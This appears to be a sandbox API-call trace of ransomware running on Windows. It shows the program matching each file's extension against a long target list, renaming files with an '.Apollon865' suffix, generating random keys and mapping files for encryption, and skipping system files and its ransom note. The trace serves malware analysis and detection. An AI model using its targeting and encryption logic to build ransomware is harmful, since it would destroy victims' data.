	[0078.223] lstrcmpiW (lpString1="hxn", lpString2="udl") returned -1
	[0078.223] lstrlenW (lpString="usr") returned 3
	[0078.223] lstrcmpiW (lpString1="hxn", lpString2="usr") returned -1
	[0078.223] lstrlenW (lpString="v12") returned 3
	[0078.223] lstrcmpiW (lpString1="hxn", lpString2="v12") returned -1
	[0078.223] lstrlenW (lpString="vis") returned 3
	[0078.223] lstrcmpiW (lpString1="hxn", lpString2="vis") returned -1
	[0078.223] lstrlenW (lpString="vpd") returned 3
	[0078.223] lstrcmpiW (lpString1="hxn", lpString2="vpd") returned -1
	[0078.223] lstrlenW (lpString="vvv") returned 3
	[0078.223] lstrcmpiW (lpString1="hxn", lpString2="vvv") returned -1
	[0078.223] lstrlenW (lpString="wdb") returned 3
	[0078.223] lstrcmpiW (lpString1="hxn", lpString2="wdb") returned -1
	[0078.223] lstrlenW (lpString="wmdb") returned 4
	[0078.223] lstrcmpiW (lpString1=".hxn", lpString2="wmdb") returned -1
	[0078.223] lstrlenW (lpString="wrk") returned 3
	[0078.223] lstrcmpiW (lpString1="hxn", lpString2="wrk") returned -1
	[0078.223] lstrlenW (lpString="xdb") returned 3
	[0078.223] lstrcmpiW (lpString1="hxn", lpString2="xdb") returned -1
	[0078.223] lstrlenW (lpString="xld") returned 3
	[0078.223] lstrcmpiW (lpString1="hxn", lpString2="xld") returned -1
	[0078.223] lstrlenW (lpString="xmlff") returned 5
	[0078.223] lstrcmpiW (lpString1="3.hxn", lpString2="xmlff") returned -1
	[0078.223] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft Help\\MS.INFOPATH.14.1033.hxn.Apollon865") returned 68
	[0078.223] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft Help\\MS.INFOPATH.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.infopath.14.1033.hxn"), lpNewFileName="C:\\Users\\All Users\\Microsoft Help\\MS.INFOPATH.14.1033.hxn.Apollon865" (normalized: "c:\\users\\all users\\microsoft help\\ms.infopath.14.1033.hxn.apollon865"), dwFlags=0x1) returned 1
	[0078.229] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.INFOPATH.14.1033.hxn.Apollon865" (normalized: "c:\\users\\all users\\microsoft help\\ms.infopath.14.1033.hxn.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x100
	[0078.229] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=344) returned 1
	[0078.229] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0078.229] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0078.229] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bfb40
	[0078.229] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bfbc8) returned 1
	[0078.230] CryptGenRandom (in: hProv=0x5bfbc8, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0078.230] CryptReleaseContext (hProv=0x5bfbc8, dwFlags=0x0) returned 1
	[0078.230] CreateFileMappingW (hFile=0x100, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x460, lpName=0x0) returned 0xc0
	[0078.252] MapViewOfFile (hFileMappingObject=0xc0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x460) returned 0x100000
	[0078.256] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bfc50) returned 1
	[0078.258] CryptGenRandom (in: hProv=0x5bfc50, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0078.258] CryptReleaseContext (hProv=0x5bfc50, dwFlags=0x0) returned 1
	[0078.258] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0078.258] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0078.258] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0078.258] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0078.258] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0078.258] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0078.258] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0078.258] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0078.258] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0078.258] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0078.259] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0078.259] CloseHandle (hObject=0xc0) returned 1
	[0078.259] CloseHandle (hObject=0x100) returned 1
	[0078.259] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0078.259] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bfb40 | out: hHeap=0x580000) returned 1
	[0078.259] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0078.259] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x113ae4d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x113ae4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1146cbb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.INFOPATHEDITOR.14.1033.hxn", cAlternateFileName="MSINFO~2.HXN")) returned 1
	[0078.259] lstrcmpiW (lpString1="MS.INFOPATHEDITOR.14.1033.hxn", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0078.259] lstrcmpiW (lpString1="MS.INFOPATHEDITOR.14.1033.hxn", lpString2="Apollon865.txt.exe") returned 1
	[0078.259] lstrcmpiW (lpString1="MS.INFOPATHEDITOR.14.1033.hxn", lpString2=".") returned 1
	[0078.259] lstrcmpiW (lpString1="MS.INFOPATHEDITOR.14.1033.hxn", lpString2="..") returned 1
	[0078.259] lstrcmpiW (lpString1="MS.INFOPATHEDITOR.14.1033.hxn", lpString2="windows") returned -1
	[0078.259] lstrcmpiW (lpString1="MS.INFOPATHEDITOR.14.1033.hxn", lpString2="bootmgr") returned 1
	[0078.259] lstrcmpiW (lpString1="MS.INFOPATHEDITOR.14.1033.hxn", lpString2="temp") returned -1
	[0078.259] lstrcmpiW (lpString1="MS.INFOPATHEDITOR.14.1033.hxn", lpString2="pagefile.sys") returned -1
	[0078.259] lstrcmpiW (lpString1="MS.INFOPATHEDITOR.14.1033.hxn", lpString2="boot") returned 1
	[0078.259] lstrcmpiW (lpString1="MS.INFOPATHEDITOR.14.1033.hxn", lpString2="ids.txt") returned 1
	[0078.259] lstrcmpiW (lpString1="MS.INFOPATHEDITOR.14.1033.hxn", lpString2="ntuser.dat") returned -1
	[0078.259] lstrcmpiW (lpString1="MS.INFOPATHEDITOR.14.1033.hxn", lpString2="perflogs") returned -1
	[0078.259] lstrcmpiW (lpString1="MS.INFOPATHEDITOR.14.1033.hxn", lpString2="MSBuild") returned -1
	[0078.259] lstrlenW (lpString="MS.INFOPATHEDITOR.14.1033.hxn") returned 29
	[0078.260] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft Help\\MS.INFOPATH.14.1033.hxn") returned 57
	[0078.260] lstrcpyW (in: lpString1=0x119e64c, lpString2="MS.INFOPATHEDITOR.14.1033.hxn" | out: lpString1="MS.INFOPATHEDITOR.14.1033.hxn") returned="MS.INFOPATHEDITOR.14.1033.hxn"
	[0078.260] lstrlenW (lpString="MS.INFOPATHEDITOR.14.1033.hxn") returned 29
	[0078.260] lstrlenW (lpString="Apollon865") returned 10
	[0078.260] lstrcmpiW (lpString1="4.1033.hxn", lpString2="Apollon865") returned -1
	[0078.260] lstrlenW (lpString=".dll") returned 4
	[0078.260] lstrcmpiW (lpString1="MS.INFOPATHEDITOR.14.1033.hxn", lpString2=".dll") returned 1
	[0078.260] lstrlenW (lpString=".lnk") returned 4
	[0078.260] lstrcmpiW (lpString1="MS.INFOPATHEDITOR.14.1033.hxn", lpString2=".lnk") returned 1
	[0078.260] lstrlenW (lpString=".ini") returned 4
	[0078.260] lstrcmpiW (lpString1="MS.INFOPATHEDITOR.14.1033.hxn", lpString2=".ini") returned 1
	[0078.260] lstrlenW (lpString=".sys") returned 4
	[0078.260] lstrcmpiW (lpString1="MS.INFOPATHEDITOR.14.1033.hxn", lpString2=".sys") returned 1
	[0078.260] lstrlenW (lpString="MS.INFOPATHEDITOR.14.1033.hxn") returned 29
	[0078.260] lstrlenW (lpString="bak") returned 3
	[0078.260] lstrcmpiW (lpString1="hxn", lpString2="bak") returned 1
	[0078.260] lstrlenW (lpString="ba_") returned 3
	[0078.260] lstrcmpiW (lpString1="hxn", lpString2="ba_") returned 1
	[0078.260] lstrlenW (lpString="dbb") returned 3
	[0078.260] lstrcmpiW (lpString1="hxn", lpString2="dbb") returned 1
	[0078.260] lstrlenW (lpString="vmdk") returned 4
	[0078.260] lstrcmpiW (lpString1=".hxn", lpString2="vmdk") returned -1
	[0078.260] lstrlenW (lpString="rar") returned 3
	[0078.260] lstrcmpiW (lpString1="hxn", lpString2="rar") returned -1
	[0078.260] lstrlenW (lpString="zip") returned 3
	[0078.260] lstrcmpiW (lpString1="hxn", lpString2="zip") returned -1
	[0078.260] lstrlenW (lpString="tgz") returned 3
	[0078.260] lstrcmpiW (lpString1="hxn", lpString2="tgz") returned -1
	[0078.260] lstrlenW (lpString="vbox") returned 4
	[0078.260] lstrcmpiW (lpString1=".hxn", lpString2="vbox") returned -1
	[0078.260] lstrlenW (lpString="vdi") returned 3
	[0078.260] lstrcmpiW (lpString1="hxn", lpString2="vdi") returned -1
	[0078.260] lstrlenW (lpString="vhd") returned 3
	[0078.260] lstrcmpiW (lpString1="hxn", lpString2="vhd") returned -1
	[0078.260] lstrlenW (lpString="vhdx") returned 4
	[0078.260] lstrcmpiW (lpString1=".hxn", lpString2="vhdx") returned -1
	[0078.260] lstrlenW (lpString="avhd") returned 4
	[0078.261] lstrcmpiW (lpString1=".hxn", lpString2="avhd") returned -1
	[0078.261] lstrlenW (lpString="db") returned 2
	[0078.261] lstrcmpiW (lpString1="xn", lpString2="db") returned 1
	[0078.261] lstrlenW (lpString="db2") returned 3
	[0078.261] lstrcmpiW (lpString1="hxn", lpString2="db2") returned 1
	[0078.261] lstrlenW (lpString="db3") returned 3
	[0078.261] lstrcmpiW (lpString1="hxn", lpString2="db3") returned 1
	[0078.261] lstrlenW (lpString="dbf") returned 3
	[0078.261] lstrcmpiW (lpString1="hxn", lpString2="dbf") returned 1
	[0078.261] lstrlenW (lpString="mdf") returned 3
	[0078.261] lstrcmpiW (lpString1="hxn", lpString2="mdf") returned -1
	[0078.261] lstrlenW (lpString="mdb") returned 3
	[0078.261] lstrcmpiW (lpString1="hxn", lpString2="mdb") returned -1
	[0078.261] lstrlenW (lpString="sql") returned 3
	[0078.261] lstrcmpiW (lpString1="hxn", lpString2="sql") returned -1
	[0078.261] lstrlenW (lpString="sqlite") returned 6
	[0078.261] lstrcmpiW (lpString1="33.hxn", lpString2="sqlite") returned -1
	[0078.261] lstrlenW (lpString="sqlite3") returned 7
	[0078.261] lstrcmpiW (lpString1="033.hxn", lpString2="sqlite3") returned -1
	[0078.261] lstrlenW (lpString="sqlitedb") returned 8
	[0078.261] lstrcmpiW (lpString1="1033.hxn", lpString2="sqlitedb") returned -1
	[0078.261] lstrlenW (lpString="xml") returned 3
	[0078.261] lstrcmpiW (lpString1="hxn", lpString2="xml") returned -1
	[0078.261] lstrlenW (lpString="$er") returned 3
	[0078.261] lstrcmpiW (lpString1="hxn", lpString2="$er") returned 1
	[0078.261] lstrlenW (lpString="4dd") returned 3
	[0078.261] lstrcmpiW (lpString1="hxn", lpString2="4dd") returned 1
	[0078.261] lstrlenW (lpString="4dl") returned 3
	[0078.261] lstrcmpiW (lpString1="hxn", lpString2="4dl") returned 1
	[0078.261] lstrlenW (lpString="^^^") returned 3
	[0078.261] lstrcmpiW (lpString1="hxn", lpString2="^^^") returned 1
	[0078.261] lstrlenW (lpString="abs") returned 3
	[0078.261] lstrcmpiW (lpString1="hxn", lpString2="abs") returned 1
	[0078.261] lstrlenW (lpString="abx") returned 3
	[0078.261] lstrcmpiW (lpString1="hxn", lpString2="abx") returned 1
	[0078.261] lstrlenW (lpString="accdb") returned 5
	[0078.261] lstrcmpiW (lpString1="3.hxn", lpString2="accdb") returned -1
	[0078.262] lstrlenW (lpString="accdc") returned 5
	[0078.262] lstrcmpiW (lpString1="3.hxn", lpString2="accdc") returned -1
	[0078.262] lstrlenW (lpString="accde") returned 5
	[0078.262] lstrcmpiW (lpString1="3.hxn", lpString2="accde") returned -1
	[0078.262] lstrlenW (lpString="accdr") returned 5
	[0078.262] lstrcmpiW (lpString1="3.hxn", lpString2="accdr") returned -1
	[0078.262] lstrlenW (lpString="accdt") returned 5
	[0078.262] lstrcmpiW (lpString1="3.hxn", lpString2="accdt") returned -1
	[0078.262] lstrlenW (lpString="accdw") returned 5
	[0078.262] lstrcmpiW (lpString1="3.hxn", lpString2="accdw") returned -1
	[0078.262] lstrlenW (lpString="accft") returned 5
	[0078.262] lstrcmpiW (lpString1="3.hxn", lpString2="accft") returned -1
	[0078.262] lstrlenW (lpString="adb") returned 3
	[0078.262] lstrcmpiW (lpString1="hxn", lpString2="adb") returned 1
	[0078.262] lstrlenW (lpString="adb") returned 3
	[0078.262] lstrcmpiW (lpString1="hxn", lpString2="adb") returned 1
	[0078.262] lstrlenW (lpString="ade") returned 3
	[0078.262] lstrcmpiW (lpString1="hxn", lpString2="ade") returned 1
	[0078.262] lstrlenW (lpString="adf") returned 3
	[0078.262] lstrcmpiW (lpString1="hxn", lpString2="adf") returned 1
	[0078.262] lstrlenW (lpString="adn") returned 3
	[0078.262] lstrcmpiW (lpString1="hxn", lpString2="adn") returned 1
	[0078.262] lstrlenW (lpString="adp") returned 3
	[0078.262] lstrcmpiW (lpString1="hxn", lpString2="adp") returned 1
	[0078.262] lstrlenW (lpString="alf") returned 3
	[0078.262] lstrcmpiW (lpString1="hxn", lpString2="alf") returned 1
	[0078.262] lstrlenW (lpString="ask") returned 3
	[0078.262] lstrcmpiW (lpString1="hxn", lpString2="ask") returned 1
	[0078.262] lstrlenW (lpString="btr") returned 3
	[0078.262] lstrcmpiW (lpString1="hxn", lpString2="btr") returned 1
	[0078.262] lstrlenW (lpString="cat") returned 3
	[0078.262] lstrcmpiW (lpString1="hxn", lpString2="cat") returned 1
	[0078.262] lstrlenW (lpString="cdb") returned 3
	[0078.262] lstrcmpiW (lpString1="hxn", lpString2="cdb") returned 1
	[0078.262] lstrlenW (lpString="ckp") returned 3
	[0078.262] lstrcmpiW (lpString1="hxn", lpString2="ckp") returned 1
	[0078.262] lstrlenW (lpString="cma") returned 3
	[0078.263] lstrcmpiW (lpString1="hxn", lpString2="cma") returned 1
	[0078.263] lstrlenW (lpString="cpd") returned 3
	[0078.263] lstrcmpiW (lpString1="hxn", lpString2="cpd") returned 1
	[0078.263] lstrlenW (lpString="dacpac") returned 6
	[0078.263] lstrcmpiW (lpString1="33.hxn", lpString2="dacpac") returned -1
	[0078.263] lstrlenW (lpString="dad") returned 3
	[0078.263] lstrcmpiW (lpString1="hxn", lpString2="dad") returned 1
	[0078.263] lstrlenW (lpString="dadiagrams") returned 10
	[0078.263] lstrcmpiW (lpString1="4.1033.hxn", lpString2="dadiagrams") returned -1
	[0078.263] lstrlenW (lpString="daschema") returned 8
	[0078.263] lstrcmpiW (lpString1="1033.hxn", lpString2="daschema") returned -1
	[0078.263] lstrlenW (lpString="db-journal") returned 10
	[0078.263] lstrcmpiW (lpString1="4.1033.hxn", lpString2="db-journal") returned -1
	[0078.263] lstrlenW (lpString="db-shm") returned 6
	[0078.263] lstrcmpiW (lpString1="33.hxn", lpString2="db-shm") returned -1
	[0078.263] lstrlenW (lpString="db-wal") returned 6
	[0078.263] lstrcmpiW (lpString1="33.hxn", lpString2="db-wal") returned -1
	[0078.263] lstrlenW (lpString="dbc") returned 3
	[0078.263] lstrcmpiW (lpString1="hxn", lpString2="dbc") returned 1
	[0078.263] lstrlenW (lpString="dbs") returned 3
	[0078.263] lstrcmpiW (lpString1="hxn", lpString2="dbs") returned 1
	[0078.263] lstrlenW (lpString="dbt") returned 3
	[0078.263] lstrcmpiW (lpString1="hxn", lpString2="dbt") returned 1
	[0078.263] lstrlenW (lpString="dbv") returned 3
	[0078.263] lstrcmpiW (lpString1="hxn", lpString2="dbv") returned 1
	[0078.263] lstrlenW (lpString="dbx") returned 3
	[0078.263] lstrcmpiW (lpString1="hxn", lpString2="dbx") returned 1
	[0078.263] lstrlenW (lpString="dcb") returned 3
	[0078.263] lstrcmpiW (lpString1="hxn", lpString2="dcb") returned 1
	[0078.263] lstrlenW (lpString="dct") returned 3
	[0078.263] lstrcmpiW (lpString1="hxn", lpString2="dct") returned 1
	[0078.263] lstrlenW (lpString="dcx") returned 3
	[0078.263] lstrcmpiW (lpString1="hxn", lpString2="dcx") returned 1
	[0078.263] lstrlenW (lpString="ddl") returned 3
	[0078.263] lstrcmpiW (lpString1="hxn", lpString2="ddl") returned 1
	[0078.263] lstrlenW (lpString="dlis") returned 4
	[0078.263] lstrcmpiW (lpString1=".hxn", lpString2="dlis") returned -1
	[0078.264] lstrlenW (lpString="dp1") returned 3
	[0078.264] lstrcmpiW (lpString1="hxn", lpString2="dp1") returned 1
	[0078.264] lstrlenW (lpString="dqy") returned 3
	[0078.264] lstrcmpiW (lpString1="hxn", lpString2="dqy") returned 1
	[0078.264] lstrlenW (lpString="dsk") returned 3
	[0078.264] lstrcmpiW (lpString1="hxn", lpString2="dsk") returned 1
	[0078.264] lstrlenW (lpString="dsn") returned 3
	[0078.264] lstrcmpiW (lpString1="hxn", lpString2="dsn") returned 1
	[0078.264] lstrlenW (lpString="dtsx") returned 4
	[0078.264] lstrcmpiW (lpString1=".hxn", lpString2="dtsx") returned -1
	[0078.264] lstrlenW (lpString="dxl") returned 3
	[0078.264] lstrcmpiW (lpString1="hxn", lpString2="dxl") returned 1
	[0078.264] lstrlenW (lpString="eco") returned 3
	[0078.264] lstrcmpiW (lpString1="hxn", lpString2="eco") returned 1
	[0078.264] lstrlenW (lpString="ecx") returned 3
	[0078.264] lstrcmpiW (lpString1="hxn", lpString2="ecx") returned 1
	[0078.264] lstrlenW (lpString="edb") returned 3
	[0078.264] lstrcmpiW (lpString1="hxn", lpString2="edb") returned 1
	[0078.264] lstrlenW (lpString="epim") returned 4
	[0078.264] lstrcmpiW (lpString1=".hxn", lpString2="epim") returned -1
	[0078.264] lstrlenW (lpString="fcd") returned 3
	[0078.264] lstrcmpiW (lpString1="hxn", lpString2="fcd") returned 1
	[0078.264] lstrlenW (lpString="fdb") returned 3
	[0078.264] lstrcmpiW (lpString1="hxn", lpString2="fdb") returned 1
	[0078.264] lstrlenW (lpString="fic") returned 3
	[0078.264] lstrcmpiW (lpString1="hxn", lpString2="fic") returned 1
	[0078.264] lstrlenW (lpString="flexolibrary") returned 12
	[0078.264] lstrcmpiW (lpString1=".14.1033.hxn", lpString2="flexolibrary") returned -1
	[0078.264] lstrlenW (lpString="fm5") returned 3
	[0078.264] lstrcmpiW (lpString1="hxn", lpString2="fm5") returned 1
	[0078.264] lstrlenW (lpString="fmp") returned 3
	[0078.264] lstrcmpiW (lpString1="hxn", lpString2="fmp") returned 1
	[0078.264] lstrlenW (lpString="fmp12") returned 5
	[0078.264] lstrcmpiW (lpString1="3.hxn", lpString2="fmp12") returned -1
	[0078.264] lstrlenW (lpString="fmpsl") returned 5
	[0078.264] lstrcmpiW (lpString1="3.hxn", lpString2="fmpsl") returned -1
	[0078.264] lstrlenW (lpString="fol") returned 3
	[0078.264] lstrcmpiW (lpString1="hxn", lpString2="fol") returned 1
	[0078.265] lstrlenW (lpString="fp3") returned 3
	[0078.265] lstrcmpiW (lpString1="hxn", lpString2="fp3") returned 1
	[0078.265] lstrlenW (lpString="fp4") returned 3
	[0078.265] lstrcmpiW (lpString1="hxn", lpString2="fp4") returned 1
	[0078.265] lstrlenW (lpString="fp5") returned 3
	[0078.265] lstrcmpiW (lpString1="hxn", lpString2="fp5") returned 1
	[0078.265] lstrlenW (lpString="fp7") returned 3
	[0078.265] lstrcmpiW (lpString1="hxn", lpString2="fp7") returned 1
	[0078.265] lstrlenW (lpString="fpt") returned 3
	[0078.265] lstrcmpiW (lpString1="hxn", lpString2="fpt") returned 1
	[0078.265] lstrlenW (lpString="frm") returned 3
	[0078.265] lstrcmpiW (lpString1="hxn", lpString2="frm") returned 1
	[0078.265] lstrlenW (lpString="gdb") returned 3
	[0078.265] lstrcmpiW (lpString1="hxn", lpString2="gdb") returned 1
	[0078.265] lstrlenW (lpString="gdb") returned 3
	[0078.265] lstrcmpiW (lpString1="hxn", lpString2="gdb") returned 1
	[0078.265] lstrlenW (lpString="grdb") returned 4
	[0078.265] lstrcmpiW (lpString1=".hxn", lpString2="grdb") returned -1
	[0078.265] lstrlenW (lpString="gwi") returned 3
	[0078.265] lstrcmpiW (lpString1="hxn", lpString2="gwi") returned 1
	[0078.265] lstrlenW (lpString="hdb") returned 3
	[0078.265] lstrcmpiW (lpString1="hxn", lpString2="hdb") returned 1
	[0078.265] lstrlenW (lpString="his") returned 3
	[0078.265] lstrcmpiW (lpString1="hxn", lpString2="his") returned 1
	[0078.265] lstrlenW (lpString="ib") returned 2
	[0078.265] lstrcmpiW (lpString1="xn", lpString2="ib") returned 1
	[0078.265] lstrlenW (lpString="idb") returned 3
	[0078.265] lstrcmpiW (lpString1="hxn", lpString2="idb") returned -1
	[0078.265] lstrlenW (lpString="ihx") returned 3
	[0078.265] lstrcmpiW (lpString1="hxn", lpString2="ihx") returned -1
	[0078.265] lstrlenW (lpString="itdb") returned 4
	[0078.265] lstrcmpiW (lpString1=".hxn", lpString2="itdb") returned -1
	[0078.265] lstrlenW (lpString="itw") returned 3
	[0078.265] lstrcmpiW (lpString1="hxn", lpString2="itw") returned -1
	[0078.265] lstrlenW (lpString="jet") returned 3
	[0078.265] lstrcmpiW (lpString1="hxn", lpString2="jet") returned -1
	[0078.265] lstrlenW (lpString="jtx") returned 3
	[0078.266] lstrcmpiW (lpString1="hxn", lpString2="jtx") returned -1
	[0078.266] lstrlenW (lpString="kdb") returned 3
	[0078.266] lstrcmpiW (lpString1="hxn", lpString2="kdb") returned -1
	[0078.266] lstrlenW (lpString="kexi") returned 4
	[0078.266] lstrcmpiW (lpString1=".hxn", lpString2="kexi") returned -1
	[0078.266] lstrlenW (lpString="kexic") returned 5
	[0078.266] lstrcmpiW (lpString1="3.hxn", lpString2="kexic") returned -1
	[0078.266] lstrlenW (lpString="kexis") returned 5
	[0078.266] lstrcmpiW (lpString1="3.hxn", lpString2="kexis") returned -1
	[0078.266] lstrlenW (lpString="lgc") returned 3
	[0078.266] lstrcmpiW (lpString1="hxn", lpString2="lgc") returned -1
	[0078.266] lstrlenW (lpString="lwx") returned 3
	[0078.266] lstrcmpiW (lpString1="hxn", lpString2="lwx") returned -1
	[0078.266] lstrlenW (lpString="maf") returned 3
	[0078.266] lstrcmpiW (lpString1="hxn", lpString2="maf") returned -1
	[0078.266] lstrlenW (lpString="maq") returned 3
	[0078.266] lstrcmpiW (lpString1="hxn", lpString2="maq") returned -1
	[0078.266] lstrlenW (lpString="mar") returned 3
	[0078.266] lstrcmpiW (lpString1="hxn", lpString2="mar") returned -1
	[0078.266] lstrlenW (lpString="marshal") returned 7
	[0078.266] lstrcmpiW (lpString1="033.hxn", lpString2="marshal") returned -1
	[0078.266] lstrlenW (lpString="mas") returned 3
	[0078.266] lstrcmpiW (lpString1="hxn", lpString2="mas") returned -1
	[0078.266] lstrlenW (lpString="mav") returned 3
	[0078.266] lstrcmpiW (lpString1="hxn", lpString2="mav") returned -1
	[0078.266] lstrlenW (lpString="maw") returned 3
	[0078.266] lstrcmpiW (lpString1="hxn", lpString2="maw") returned -1
	[0078.266] lstrlenW (lpString="mdbhtml") returned 7
	[0078.266] lstrcmpiW (lpString1="033.hxn", lpString2="mdbhtml") returned -1
	[0078.266] lstrlenW (lpString="mdn") returned 3
	[0078.266] lstrcmpiW (lpString1="hxn", lpString2="mdn") returned -1
	[0078.266] lstrlenW (lpString="mdt") returned 3
	[0078.267] lstrcmpiW (lpString1="hxn", lpString2="mdt") returned -1
	[0078.267] lstrlenW (lpString="mfd") returned 3
	[0078.267] lstrcmpiW (lpString1="hxn", lpString2="mfd") returned -1
	[0078.267] lstrlenW (lpString="mpd") returned 3
	[0078.267] lstrcmpiW (lpString1="hxn", lpString2="mpd") returned -1
	[0078.267] lstrlenW (lpString="mrg") returned 3
	[0078.267] lstrcmpiW (lpString1="hxn", lpString2="mrg") returned -1
	[0078.267] lstrlenW (lpString="mud") returned 3
	[0078.267] lstrcmpiW (lpString1="hxn", lpString2="mud") returned -1
	[0078.267] lstrlenW (lpString="mwb") returned 3
	[0078.267] lstrcmpiW (lpString1="hxn", lpString2="mwb") returned -1
	[0078.267] lstrlenW (lpString="myd") returned 3
	[0078.267] lstrcmpiW (lpString1="hxn", lpString2="myd") returned -1
	[0078.267] lstrlenW (lpString="ndf") returned 3
	[0078.267] lstrcmpiW (lpString1="hxn", lpString2="ndf") returned -1
	[0078.267] lstrlenW (lpString="nnt") returned 3
	[0078.267] lstrcmpiW (lpString1="hxn", lpString2="nnt") returned -1
	[0078.267] lstrlenW (lpString="nrmlib") returned 6
	[0078.267] lstrcmpiW (lpString1="33.hxn", lpString2="nrmlib") returned -1
	[0078.267] lstrlenW (lpString="ns2") returned 3
	[0078.267] lstrcmpiW (lpString1="hxn", lpString2="ns2") returned -1
	[0078.267] lstrlenW (lpString="ns3") returned 3
	[0078.267] lstrcmpiW (lpString1="hxn", lpString2="ns3") returned -1
	[0078.267] lstrlenW (lpString="ns4") returned 3
	[0078.267] lstrcmpiW (lpString1="hxn", lpString2="ns4") returned -1
	[0078.267] lstrlenW (lpString="nsf") returned 3
	[0078.267] lstrcmpiW (lpString1="hxn", lpString2="nsf") returned -1
	[0078.267] lstrlenW (lpString="nv") returned 2
	[0078.267] lstrcmpiW (lpString1="xn", lpString2="nv") returned 1
	[0078.267] lstrlenW (lpString="nv2") returned 3
	[0078.267] lstrcmpiW (lpString1="hxn", lpString2="nv2") returned -1
	[0078.267] lstrlenW (lpString="nwdb") returned 4
	[0078.267] lstrcmpiW (lpString1=".hxn", lpString2="nwdb") returned -1
	[0078.267] lstrlenW (lpString="nyf") returned 3
	[0078.267] lstrcmpiW (lpString1="hxn", lpString2="nyf") returned -1
	[0078.267] lstrlenW (lpString="odb") returned 3
	[0078.267] lstrcmpiW (lpString1="hxn", lpString2="odb") returned -1
	[0078.267] lstrlenW (lpString="odb") returned 3
	[0078.268] lstrcmpiW (lpString1="hxn", lpString2="odb") returned -1
	[0078.268] lstrlenW (lpString="oqy") returned 3
	[0078.268] lstrcmpiW (lpString1="hxn", lpString2="oqy") returned -1
	[0078.268] lstrlenW (lpString="ora") returned 3
	[0078.268] lstrcmpiW (lpString1="hxn", lpString2="ora") returned -1
	[0078.268] lstrlenW (lpString="orx") returned 3
	[0078.268] lstrcmpiW (lpString1="hxn", lpString2="orx") returned -1
	[0078.268] lstrlenW (lpString="owc") returned 3
	[0078.268] lstrcmpiW (lpString1="hxn", lpString2="owc") returned -1
	[0078.268] lstrlenW (lpString="p96") returned 3
	[0078.268] lstrcmpiW (lpString1="hxn", lpString2="p96") returned -1
	[0078.268] lstrlenW (lpString="p97") returned 3
	[0078.268] lstrcmpiW (lpString1="hxn", lpString2="p97") returned -1
	[0078.268] lstrlenW (lpString="pan") returned 3
	[0078.268] lstrcmpiW (lpString1="hxn", lpString2="pan") returned -1
	[0078.268] lstrlenW (lpString="pdb") returned 3
	[0078.268] lstrcmpiW (lpString1="hxn", lpString2="pdb") returned -1
	[0078.268] lstrlenW (lpString="pdm") returned 3
	[0078.268] lstrcmpiW (lpString1="hxn", lpString2="pdm") returned -1
	[0078.268] lstrlenW (lpString="pnz") returned 3
	[0078.268] lstrcmpiW (lpString1="hxn", lpString2="pnz") returned -1
	[0078.268] lstrlenW (lpString="qry") returned 3
	[0078.268] lstrcmpiW (lpString1="hxn", lpString2="qry") returned -1
	[0078.268] lstrlenW (lpString="qvd") returned 3
	[0078.268] lstrcmpiW (lpString1="hxn", lpString2="qvd") returned -1
